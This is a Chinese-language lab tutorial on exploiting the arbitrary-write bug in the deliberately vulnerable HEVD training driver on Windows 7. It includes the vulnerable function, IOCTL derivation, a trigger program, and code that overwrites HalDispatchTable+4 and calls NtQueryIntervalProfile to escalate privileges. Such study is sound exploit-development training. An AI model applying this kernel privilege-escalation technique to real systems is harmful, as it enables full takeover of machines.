[07] HEVD 内核漏洞之任意内存覆盖

0x00 前言

这一节,学习一下任意内存覆盖,本篇相对比较简单。

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+KmdManager+DbgViewer

0x01 漏洞原理

分析

打开驱动程序代码,可以看到ArbitraryWrite.c中,漏洞函数是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

__try
{
//
// Verify if the buffer resides in user mode
//

ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));

What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;

DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
// ProbeForWrite() routine before performing the write operation
//

ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));

*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Write\n");

//
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
//

*(Where) = *(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
//
// There is one more hidden vulnerability. Find it out.
return Status;

驱动中,可以看到,主要有两个指针:What和Where指针。前者用于展示驱动将要写入内存的值,后者提供了驱动将要写的位置。

两个版本的对比下,不难看出,不对用户模式传来的缓冲区地址进行校验,直接进行写,地址是正常地址海星,如果是非法地址,那么直接BSOD。

在MSDN中,可以看到,对于ProbeForReadProbeForWeite函数描述如下:

The ProbeForRead routine checks that a user-mode buffer actually resides in the user portion of the address space, and is correctly aligned.

The ProbeForWrite routine checks that a user-mode buffer actually resides in the user-mode portion of the address space, is writable, and is correctly aligned.

前者检查用户模式缓冲区是否驻留在用户地址空间的用户部分中且正确对其,后者加上检查这一内存是否可写。

在正常情况下。对两个地址进行验证,通过验证可进行写操作。而疏忽未进行验证的时候,则很容易BSOD或者被利用。

0x02 漏洞利用

IOCTL

驱动头文件common.h展示了所有的定义的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_DOUBLE_FETCH CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80E, METHOD_NEITHER, FILE_ANY_ACCESS)

I/O控制码由不同的组件(类型、码值、方法、访问权限)构成。WDK中标准宏CTL_CODE可用与定义新的IOCTL。实际上可以通过仿真该宏的功能来提取出有效的IOCTL。

该宏的说明点击这里。公式如下:

1
2
3
#define xxx_xxx_xxx CTL_CODE(DeviceType, Function, Method, Access)

( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))

测试一哈:

1
2
3
 const long v9 =((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003);

// v9 0x0022200b
What&Where

疑惑是,函数要怎么决定它要哪些字节,并不会写我们给它的四字节,而是把它当成一个指针写入该指针指向地址起始处四字节值。缓冲区结构如下:

1
2
3
4
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

如果简单地只指定shellcode地址,那么它实际上只会写shellcode的前几个字节。

接着验证一哈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
#include<Windows.h>

int main()
{
char buf[8];
DWORD recvBuf;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("Failed to get HANDLE!!!\n");
return 0;
}

memset(buf, 'A', 8);
DeviceIoControl(hDevice, 0x22200b, buf, 8, NULL, 0, &recvBuf, NULL);
if(hDevice!=(HANDLE)-1)
{
CloseHandle(hDevice);
hDevice=(HANDLE)-1;
}
return 0;
}

img

那么我们要覆盖那个内核地址呢?

经过前辈们的研究,我们可以覆盖一个内核的分发表指针,是比较安全的。(在Ruben Santamarta的2007年发表的“Exploiting common flaws in drivers”论文中第一次介绍)。

有一个未文档化(罕用)的函数——NtQueryIntervalProfile用于量度计数滴答之间的性能。这个函数内部调用了KeQueryIntervalProfile系统调用。反汇编可以看到,在函数内部调用KeQueryIntervalProfile:

1
2
3
4
5
6
kd> u nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
...
84159ed4 eb05 jmp nt!NtQueryIntervalProfile+0x70 (84159edb)
84159ed6 e83ae5fbff call nt!KeQueryIntervalProfile (84118415)
84159edb 84db test bl,bl

反汇编KeQueryIntervalProfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
kd> u KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
840cc415 8bff mov edi,edi
840cc417 55 push ebp
840cc418 8bec mov ebp,esp
840cc41a 83ec10 sub esp,10h
840cc41d 83f801 cmp eax,1
840cc420 7507 jne nt!KeQueryIntervalProfile+0x14 (840cc429)
840cc422 a1c86af683 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83f66ac8)]
840cc427 c9 leave
2: kd> u
nt!KeQueryIntervalProfile+0x13:
840cc428 c3 ret
840cc429 8945f0 mov dword ptr [ebp-10h],eax
840cc42c 8d45fc lea eax,[ebp-4]
840cc42f 50 push eax
840cc430 8d45f0 lea eax,[ebp-10h]
840cc433 50 push eax
840cc434 6a0c push 0Ch
840cc436 6a01 push 1
2: kd>
nt!KeQueryIntervalProfile+0x23:
840cc438 ff15fcc3f283 call dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]
840cc43e 85c0 test eax,eax
840cc440 7c0b jl nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc442 807df400 cmp byte ptr [ebp-0Ch],0
840cc446 7405 je nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc448 8b45f8 mov eax,dword ptr [ebp-8]
840cc44b c9 leave
840cc44c c3 ret

NtQueryIntervalProfile最终会调用一个在HalDispatchTable+0x4处的指针。如果我们可以覆盖该指针使其指向我们的shellcode,那么当调用NtQueryIntervalProfile时我们的shellcode就可以在内核层运行了。

寻找HalDispatchTable导出变量

common.c文件中我们可以清楚的看到这一过程。

第一步,获取系统第一模块ntkrnlpa.exe在内核中基地址。

具体方法是,通过NtQuerySystemInformation在查询系统信息,获得内核地址。

1
2
3
4
5
6
 NtStatus = NtQuerySystemInformation(SystemModuleInformation,
pSystemModuleInformation,
ReturnLength,
&ReturnLength);
...
KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;

第二步,用户态中加载内核可执行程序ntokrnl.exe.推算出HalDispatchTable在用户态中的地址,减去及地址得到偏移。

1
2
3
HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
...
HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)hKernelInUserMode);

第三步,用偏移加上内核基地址得到内核中HalDispatchTable地址。

1
HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)KernelBaseAddressInKernelMode);
发送WriteWhatWhere

where指针等于HalDispatchTable+4的地址,第一次向内核发送数据,那么当内核执行成功时,会将我们的shellcode地址写入HalDispatchTable+4处。

1
2
3
4
5
6
7
8
9
10
 WriteWhatWhere->What = (PULONG_PTR)&EopPayload;//提权payload
WriteWhatWhere->Where = (PULONG_PTR)HalDispatchTablePlus4;//
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)WriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&BytesReturned,
NULL);
NtQueryIntervalProfile函数调用

在ntdll中,获取NtQueryIntervalProfile函数地址,并进行调用:

1
2
3
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
...
NtQueryIntervalProfile(0x1337, &Interval);

测试一哈,提权成功。

img

0x03 漏洞反思

在污染了HalDispatchTable指针后,创建了一个内核之门。我们总是可以在同样的偏移处覆盖我们的shellcode并通过调用NtQueryIntervalProfile来直接运行内核中我们的新代码。至于防范方法,在安全办的驱动源代码中,已经写的很详细了,即就是及时校验。

0x04 链接

fuzzsecurity:http://fuzzysecurity.com/tutorials/expDev/15.html

玉涵师傅的翻译版本:https://bbs.pediy.com/thread-225176.htm

TJ学习版本:https://bbs.pediy.com/thread-252506.htm

rootkit:https://rootkits.xyz/blog/2017/09/kernel-write-what-where/